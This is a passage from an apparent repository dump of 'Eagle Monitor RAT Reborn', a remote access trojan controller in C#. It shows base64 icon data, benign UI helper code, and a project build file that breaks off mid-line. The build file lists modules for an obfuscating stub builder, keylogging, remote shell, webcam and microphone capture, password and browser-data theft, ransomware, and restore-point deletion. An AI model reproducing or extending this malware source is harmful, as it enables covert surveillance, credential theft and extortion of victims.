AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAABcUEUAWk5EXVFIQLtJQj2fQjw5kTw3NTgzLy/RLCorxCYkJ90hICSHIB8jBAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAFxQRQFZTkTYUUhAykpDPflDPTn/OzY09jMvMMIsKSvBJyQnggAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAg2hGAoBmRwl8ZEgAcV5JImxbSYdnWEgpAAAAAFhNQ9JSSUH/SkM9/0M9Of87NjS+NDAwZC8sLQUA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAkG9ACIxtQg2EaEYnf2ZIkHliSddzX0mLa1pJVGZXSPRhU0dBV0xDcFJJQf9KQz3/Qz05/zs2NOU3\n        MjILAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAJdyOjGRcD+Ci2xDwYVpRfJ/ZkjGeWJJq3JfSfxsW0nzZldI/mBSRuxaTkQgUUhAzkpDPf9D\n        PTn/OzY0/zUwMJYAAAAAAAAAAAAAAAAAAAAAIB8jIyAfI1EAAAAAAAAAAAAAAAAAAAAAAAAAALZ9BAix\n        fAwyq3kUVqV3IG6fdS1/mHI4iJFwP4qLbEOIhWlFsn9mSP95Ykn/cl9J/2xbSf9mV0j/X1JG/1lORONR\n        SEHNSkM9/0M9Of87NjT/NDAw8wAAAAAAAAAAAAAAAAAAAAAgHyNyIB8j2AAAAAAAAAAAAAAAAMSBADS+\n        gAB6t30CobJ8DJyreRSapXcgoJ91La+YcjjFkXA/4otsQ/2FaUX/f2ZI/3liSf9yX0n/bFtJ/2ZXSP9f\n        Ukb/WU1E/1JJQf9KQz3/Qz05/zs2NP8zLzD9LSoreSYkJzohICROIB8jjD0uKf4xKCa6AAAAAAAAAAAA\n        AAAAyIIAAAAAAAC2fQQbsXwMe6t5FLSldyDXn3Ut45hyONqScD/Oi2xDyYVpReF/Zkj7eWJJ/3JfSf9s\n        W0n/ZldI/19SRv9ZTUT/UklB/0pDPf9DPTn/OzY0/zMvMP8sKSv/JiQn/yEgJP8gHyP/QzEq/yAfI7EA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKJ2JgCddS8Ml3I5J5FwP0GLbENchWlFeH9mSJl5\n        YknNcl5J+mxbSf9mV0j/X1JG/1lNRP9SSUH/SkM9/0M9Of87NjT/My8w/ywpK/8mJCf/ISAk/yEgI/8h\n        ICP/IB8jUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkG9AGotsQ2KF\n        aUWUf2ZIu3liSc9yXknqbFtJ/2ZXSP9fUkb/Wk5E/2lSQf9pUD7/aE08/2ZKOf9aQjX/LCkr/yYkJ/8h\n        ICT/IB8j3iQiJWMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnHQyApdyOUaR\n        cD+Ci2xDmYVpRax/Zki6eWJJxHNfScNsW0ncZ1dI/3RZRf9vVUP/VUpB/0pDPf9DPTn/OzY0/zcxMP8x\n        LCz+JiQnwyonKrVKQj3ZYlRH23hiSF+NbUEXq3kWBMCAABcAAAAAAAAAAAAAAAAAAAAAAAAAAKR3Ix2e\n        dS6EmHI4s5FwP8aLbEPRhWlF4X9mSON5YknRcl5Jz3VdSP95XUb/YVJG/1lNRP9SSUH/SkM9/0M9Of87\n        NjT/My8w/y0qK8IhICSPLyssvkpCPdtjVEfyemNI+pBvPvWoeBvYvH8BdwAAAAAAAAAAAAAAAK97Dwir\n        eRRnpncffJ91LEKXcjk/kXA/motsQ7CFaUXJf2ZI+HliSf97YUj/dF1I/2ZXSP9fUkb/WU1E/1JJQf9K\n        Qz3/Qz05/zs2NP8zLzD/LSorliIhJKQ7NjS8W09EoXhiSH2TcDtZr3sQMsKBAAQAAAAAAAAAAAAAAAAA\n        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\n</value>\n  </data>\n</root>"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Controls/Utils.cs",
    "content": "﻿using System;\nusing System.Drawing;\nusing System.Reflection;\nusing System.Runtime.InteropServices;\nusing System.Windows.Forms;\nusing Eagle_Monitor_RAT_Reborn.Network;\nusing Guna.UI2.WinForms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Controls\n{\n    internal class Utils\n    {\n        internal static void Enable(ListView listView)\n        {\n            PropertyInfo aProp = typeof(Control).GetProperty(\"DoubleBuffered\", BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Public);\n            aProp.SetValue(listView, true, null);\n        }\n\n        internal static void Enable(DataGridView dataGridView)\n        {\n            PropertyInfo aProp = typeof(Control).GetProperty(\"DoubleBuffered\", BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Public);\n            aProp.SetValue(dataGridView, true, null);\n        }\n\n        internal static void MoveForm(FormPattern formPattern) \n        {\n            Misc.Imports.ReleaseCapture();\n            Misc.Imports.SendMessage(formPattern.FindForm().Handle, 161, 2, 0);\n        }\n\n        internal static void CloseForm(FormPattern any)\n        {\n            try\n            {\n                any.Close();\n            }\n            catch { }\n        }\n\n        internal static void InitiateForm(ClientHandler clientHandler) \n        {\n            try\n            {\n                clientHandler.ClientForm.Show();\n                clientHandler.ClientForm.BringToFront();\n            }\n            catch (Exception)\n            {\n                clientHandler.ClientForm = new ClientForm(clientHandler);\n                clientHandler.ClientForm.Show();\n            }\n            finally\n            {\n                clientHandler.ClientForm.Text = $\"Client : {clientHandler.FullName}\";\n                clientHandler.ClientForm.clientLabel.Text = $\"Client : {clientHandler.FullName}\";\n            }\n        }\n\n        internal static Image ResizeImage(Image imgToResize, Size size)\n        {\n            return (Image)(new Bitmap(imgToResize, size));\n        }\n\n        internal static void SetTabImage(Guna2TabControl guna2TabControl, Icon[] icons) \n        {\n            ImageList imageList = new ImageList\n            {\n                ColorDepth = ColorDepth.Depth32Bit,\n                ImageSize = new Size(28, 28)\n            };\n\n            foreach(Icon icon in icons) \n            {\n                imageList.Images.Add(icon);\n            }\n\n            guna2TabControl.ImageList = imageList;\n\n            for(int i = 0; i < guna2TabControl.TabCount; i++)\n            {\n                guna2TabControl.TabPages[i].ImageIndex = i;\n            }\n        }\n\n        internal static void SetTotalClients() \n        {\n            lock (Program.mainForm.totalClientLabel)\n            {\n                Program.mainForm.totalClientLabel.Invoke((MethodInvoker)(() =>\n                {\n                    Program.mainForm.totalClientLabel.Text = $\"Total Clients : {ClientHandler.CurrentClientsNumber}\";\n                }));\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Eagle Monitor RAT Reborn.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{76117FFD-C18B-4366-8CE8-0572E7F4FB87}</ProjectGuid>\n    <OutputType>WinExe</OutputType>\n    <RootNamespace>Eagle_Monitor_RAT_Reborn</RootNamespace>\n    <AssemblyName>Eagle Monitor RAT Reborn</AssemblyName>\n    <TargetFrameworkVersion>v4.8</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n    <TargetFrameworkProfile />\n    <PublishUrl>publish\\</PublishUrl>\n    <Install>true</Install>\n    <InstallFrom>Disk</InstallFrom>\n    <UpdateEnabled>false</UpdateEnabled>\n    <UpdateMode>Foreground</UpdateMode>\n    <UpdateInterval>7</UpdateInterval>\n    <UpdateIntervalUnits>Days</UpdateIntervalUnits>\n    <UpdatePeriodically>false</UpdatePeriodically>\n    <UpdateRequired>false</UpdateRequired>\n    <MapFileExtensions>true</MapFileExtensions>\n    <ApplicationRevision>0</ApplicationRevision>\n    <ApplicationVersion>1.0.0.%2a</ApplicationVersion>\n    <IsWebBootstrapper>false</IsWebBootstrapper>\n    <UseApplicationTrust>false</UseApplicationTrust>\n    <BootstrapperEnabled>true</BootstrapperEnabled>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <AssemblyName>Eagle Monitor RAT Reborn (x32)</AssemblyName>\n    <OutputPath>..\\bin\\Release\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n    <DebugSymbols>false</DebugSymbols>\n    <GenerateSerializationAssemblies>On</GenerateSerializationAssemblies>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Debug|x64'\">\n    <DebugSymbols>true</DebugSymbols>\n    <OutputPath>bin\\x64\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <DebugType>full</DebugType>\n    <PlatformTarget>x64</PlatformTarget>\n    <LangVersion>7.3</LangVersion>\n    <ErrorReport>prompt</ErrorReport>\n    <Prefer32Bit>true</Prefer32Bit>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Release|x64'\">\n    <OutputPath>..\\bin\\Release\\</OutputPath>\n    <AssemblyName>Eagle Monitor RAT Reborn (x64)</AssemblyName>\n    <DefineConstants>TRACE</DefineConstants>\n    <Optimize>true</Optimize>\n    <DebugType>none</DebugType>\n    <PlatformTarget>x64</PlatformTarget>\n    <LangVersion>7.3</LangVersion>\n    <ErrorReport>prompt</ErrorReport>\n    <Prefer32Bit>true</Prefer32Bit>\n    <GenerateSerializationAssemblies>On</GenerateSerializationAssemblies>\n  </PropertyGroup>\n  <PropertyGroup>\n    <ApplicationIcon>eagle2.ico</ApplicationIcon>\n  </PropertyGroup>\n  <PropertyGroup>\n    <NoWin32Manifest>true</NoWin32Manifest>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"dnlib\">\n      <HintPath>DLLs\\dnlib.dll</HintPath>\n    </Reference>\n    <Reference Include=\"FastColoredTextBox\">\n      <HintPath>DLLs\\FastColoredTextBox.dll</HintPath>\n    </Reference>\n    <Reference Include=\"Guna.UI2\">\n      <HintPath>DLLs\\Guna.UI2.dll</HintPath>\n    </Reference>\n    <Reference Include=\"Leaf.xNet\">\n      <HintPath>DLLs\\Leaf.xNet.dll</HintPath>\n    </Reference>\n    <Reference Include=\"Microsoft.VisualBasic\">\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"NAudio\">\n      <HintPath>DLLs\\NAudio.dll</HintPath>\n    </Reference>\n    <Reference Include=\"Newtonsoft.Json, Version=13.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\Newtonsoft.Json.13.0.1\\lib\\net45\\Newtonsoft.Json.dll</HintPath>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System\">\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Design\">\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"Microsoft.CSharp\">\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Drawing\">\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Windows.Forms\">\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"Vestris.ResourceLib, Version=2.1.0.0, Culture=neutral, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\Vestris.ResourceLib.2.1.0\\lib\\net45\\Vestris.ResourceLib.dll</HintPath>\n    </Reference>\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"Builder\\Obfuscate.cs\" />\n    <Compile Include=\"Builder\\StubBuilder.cs\" />\n    <Compile Include=\"Builder\\IconInjector.cs\" />\n    <Compile Include=\"Builder\\WriteAssemblyInfo.cs\" />\n    <Compile Include=\"Controls\\CustomContextMenuStrip.cs\">\n      <SubType>Component</SubType>\n    </Compile>\n    <Compile Include=\"Controls\\FormPattern.cs\">\n      <SubType>Form</SubType>\n    </Compile>\n    <Compile Include=\"Controls\\ClientForm.cs\">\n      <SubType>Form</SubType>\n    </Compile>\n    <Compile Include=\"Controls\\ClientForm.Designer.cs\">\n      <DependentUpon>ClientForm.cs</DependentUpon>\n    </Compile>\n    <Compile Include=\"Controls\\AboutForm.cs\">\n      <SubType>Form</SubType>\n    </Compile>\n    <Compile Include=\"Controls\\AboutForm.Designer.cs\">\n      <DependentUpon>AboutForm.cs</DependentUpon>\n    </Compile>\n    <Compile Include=\"Controls\\Utils.cs\" />\n    <Compile Include=\"Misc\\DotNetCodeExecution.cs\" />\n    <Compile Include=\"Misc\\Encryption.cs\" />\n    <Compile Include=\"Misc\\EncryptionInformation.cs\" />\n    <Compile Include=\"Misc\\GitHubAPI.cs\" />\n    <Compile Include=\"Misc\\Imports.cs\" />\n    <Compile Include=\"Controls\\MainForm.cs\">\n      <SubType>Form</SubType>\n    </Compile>\n    <Compile Include=\"Controls\\MainForm.Designer.cs\">\n      <DependentUpon>MainForm.cs</DependentUpon>\n    </Compile>\n    <Compile Include=\"Misc\\RandomString.cs\" />\n    <Compile Include=\"Misc\\Settings.cs\" />\n    <Compile Include=\"Network\\SocketHandler\\ChatHandler.cs\" />\n    <Compile Include=\"Network\\ClientHandler.cs\" />\n    <Compile Include=\"Network\\SocketHandler\\RemoteShellHandler.cs\" />\n    <Compile Include=\"Network\\SocketHandler\\KeyloggerHandler.cs\" />\n    <Compile Include=\"Network\\PacketHandler.cs\" />\n    <Compile Include=\"Network\\SocketHandler\\RemoteDesktopHandler.cs\" />\n    <Compile Include=\"Network\\SocketHandler\\RemoteMicrophoneHandler.cs\" />\n    <Compile Include=\"Network\\SocketHandler\\RemoteWebCamHandler.cs\" />\n    <Compile Include=\"Network\\ServerHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Miscellaneous\\NetworkInformationPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Ransomware\\RansomareEncryptionConfirmationPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Recovery\\AutofillPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Miscellaneous\\ChatPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Client\\ConnectedPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\File\\DeleteFilePacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Shell\\RemoteStartShellPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Shell\\RemoteShellStdOutPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\UAC\\DeleteRestorePointPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\File\\DisksPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\File\\DownloadFilePacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\File\\FileManagerPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Recovery\\HistoryPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Miscellaneous\\InformationPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Miscellaneous\\KeylogOfflinePacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Miscellaneous\\KeylogPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Recovery\\KeywordsPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Recovery\\PasswordsPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Process\\ProcessKillerPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Process\\ProcessManagerPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Audio\\RemoteAudioCapturePacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Audio\\RemoteAudioPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Webcam\\RemoteCameraCapturePacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Webcam\\RemoteCameraPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Desktop\\RemoteViewerPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\UAC\\RestorePointPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Process\\ResumeProcessPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\File\\ShortCutFileManagersPacketHandler.cs\" />\n    <Compile Include=\"PacketHandler\\Process\\SuspendProcessPacketHandler.cs\" />\n    <Compile Include=\"Program.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"Misc\\Utils.cs\" />\n    <EmbeddedResource Include=\"Controls\\FormPattern.resx\">\n      <DependentUpon>FormPattern.cs</DependentUpon>\n    </EmbeddedResource>\n    <EmbeddedResource Include=\"Controls\\ClientForm.resx\">\n      <DependentUpon>ClientForm.cs</DependentUpon>\n    </EmbeddedResource>\n    <EmbeddedResource Include=\"Controls\\AboutForm.resx\">\n      <DependentUpon>AboutForm.cs</DependentUpon>\n    </EmbeddedResource>\n    <EmbeddedResource Include=\"Controls\\MainForm.resx\">\n      <DependentUpon>MainForm.cs</DependentUpon>\n    </EmbeddedResource>\n    <EmbeddedResource Include=\"Properties\\Resources.resx\">\n      <Generator>ResXFileCodeGenerator</Generator>\n      <LastGenOutput>Resources.Designer.cs</LastGenOutput>\n      <SubType>Designer</SubType>\n    </EmbeddedResource>\n    <Compile Include=\"Properties\\Resources.Designer.cs\">\n      <AutoGen>True</AutoGen>\n      <DependentUpon>Resources.resx</DependentUpon>\n      <DesignTime>True</DesignTime>\n    </Compile>\n    <None Include=\"app.config\" />\n    <None Include=\"packages.config\" />\n    <None Include=\"Properties\\Settings.settings\">\n      <Generator>SettingsSingleFileGenerator</Generator>\n      <LastGenOutput>Settings.Designer.cs</LastGenOutput>\n    </None>\n    <Compile Include=\"Properties\\Settings.Designer.cs\">\n      <AutoGen>True</AutoGen>\n      <DependentUpon>Settings.settings</DependentUpon>\n      <DesignTimeSharedInput>True</DesignTimeSharedInput>\n    </Compile>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"Logo\\eagle2.png\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Content Include=\"eagle2.ico\" />\n    <None Include=\"Resources\\icons8_electronics.ico\" />\n    <None Include=\"Resources\\icons8_ethernet_on.ico\" />\n    <None Include=\"Resources\\icons8_command_line.ico\" />\n    <None Include=\"Resources\\uninstall_programs_32px.png\" />\n    <None Include=\"Resources\\icons8_signal.ico\" />\n    <None Include=\"Resources\\icons8_Tools.ico\" />\n    <None Include=\"Resources\\icons8_categorize.ico\" />\n    <None Include=\"Resources\\icons8_new_property.ico\" />\n    <None Include=\"Resources\\icons8_advanced_search.ico\" />\n    <None Include=\"Resources\\icons8_information_32.png\" />\n    <None Include=\"Resources\\icons8_create.ico\" />\n    <None Include=\"Resources\\icons8_todo_list.ico\" />\n    <None Include=\"Resources\\icons8_lock_file.ico\" />\n    <None Include=\"Resources\\icons8_mail.ico\" />\n    <None Include=\"Resources\\icons8_schedule_mail.ico\" />\n    <None Include=\"Resources\\direction_32px.png\" />\n    <None Include=\"Resources\\icons8_private_folder.ico\" />\n    <None Include=\"Resources\\icons8_security_document.ico\" />\n    <None 